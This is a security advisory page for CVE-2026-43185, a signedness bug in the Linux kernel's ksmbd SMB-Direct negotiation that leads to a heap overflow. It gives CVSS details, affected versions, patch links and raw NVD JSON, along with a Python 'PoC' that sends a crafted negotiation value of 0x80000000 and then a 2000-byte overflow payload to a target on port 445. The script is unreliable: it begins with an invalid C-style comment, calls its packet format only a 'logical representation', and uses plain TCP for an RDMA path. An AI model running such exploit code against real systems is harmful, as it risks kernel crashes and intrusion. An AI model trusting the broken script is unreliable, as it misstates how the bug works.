Security Vulnerability Report
中文
CVE-2026-43185 CVSS 9.8 CRITICAL

CVE-2026-43185

Published: 2026-05-06 12:16:37
Last Modified: 2026-05-11 20:52:58
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix signededness bug in smb_direct_prepare_negotiation() smb_direct_prepare_negotiation() casts an unsigned __u32 value from sp->max_recv_size and req->preferred_send_size to a signed int before computing min_t(int, ...). A maliciously provided preferred_send_size of 0x80000000 will return as smaller than max_recv_size, and then be used to set the maximum allowed alowed receive size for the next message. By sending a second message with a large value (>1420 bytes) the attacker can then achieve a heap buffer overflow. This fix replaces min_t(int, ...) with min_t(u32)

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE
Linux Kernel (ksmbd enabled)
Linux Kernel < Commit 55abc475d096da4a5356b6efb0cfdc6156bc1550

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC Concept for CVE-2026-43185 * This script demonstrates the logic of the vulnerability by crafting * a malicious SMB negotiation request with a specific preferred_send_size. */ import socket import struct def send_malicious_smb_packet(target_ip, target_port=445): try: # Establish TCP connection to the target KSMBD server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print(f"[+] Connected to {target_ip}:{target_port}") # SMB Header (Simplified) smb_magic = b'\xFE\x53\x4D\x42' # Craft the Negotiate Protocol Request # The critical part is setting preferred_send_size to 0x80000000 # which becomes a large negative number when cast to signed int. # Structure simulation (Offset 0x24 is usually the MaxBufferSize/PreferredSize in SMB2) # We set the 4-byte value at the specific offset to 0x80000000 malicious_size = struct.pack('<I', 0x80000000) # Construct a minimal SMB2 NEGOTIATE request # Note: Actual SMB packet structure is more complex, this is a logical representation packet = smb_magic packet += b'\x00' * 0x20 # Padding to reach offset packet += malicious_size # The malicious value packet += b'\x00' * 100 # Padding to meet minimum size requirements # Send the first message (Negotiation) s.send(packet) print("[+] Sent malicious negotiation packet with preferred_send_size = 0x80000000") # Send the second message to trigger the overflow # The server expects a small buffer due to the int underflow/bug, # but we send a large payload. overflow_payload = b'A' * 2000 s.send(overflow_payload) print("[+] Sent overflow payload") # If successful, the target kernel may panic or execute code in ring0 s.close() except Exception as e: print(f"[-] Error: {e}") # Usage: send_malicious_smb_packet("<TARGET_IP>")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43185", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:37.187", "lastModified": "2026-05-11T20:52:58.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix signededness bug in smb_direct_prepare_negotiation()\n\nsmb_direct_prepare_negotiation() casts an unsigned __u32 value\nfrom sp->max_recv_size and req->preferred_send_size to a signed\nint before computing min_t(int, ...). A maliciously provided\npreferred_send_size of 0x80000000 will return as smaller than\nmax_recv_size, and then be used to set the maximum allowed\nalowed receive size for the next message.\n\nBy sending a second message with a large value (>1420 bytes)\nthe attacker can then achieve a heap buffer overflow.\n\nThis fix replaces min_t(int, ...) with min_t(u32)"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15", "versionEndExcluding": "6.18.16", "matchCriteriaId": "E3B207F9-B76D-4B19-8860-9E40E6B32274"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/55abc475d096da4a5356b6efb0cfdc6156bc1550", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6b4f875aac344cdd52a1f34cc70ed2f874a65757", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ceae058eb707ddd0d68f0872f9d9f23b7c30c37b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}